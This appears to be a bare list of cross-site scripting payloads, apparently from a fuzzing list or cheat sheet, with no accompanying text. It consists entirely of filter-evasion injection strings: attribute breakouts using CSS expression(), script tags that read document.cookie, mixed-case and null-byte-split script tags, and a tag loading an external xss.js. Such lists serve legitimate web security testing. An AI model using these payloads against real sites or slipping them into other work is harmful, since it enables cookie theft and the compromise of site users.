foo"><x styple=" x:expression(alert(document.cookie))
<<script>alert(document.cookie);//<</script> <script>alert("2cto")</script> <sCrIpT. src=xss.js></sCrIpT> <<script>alert("xss");//<</script>
<script/src=...
<scr%00ipt>
expr/*****/ession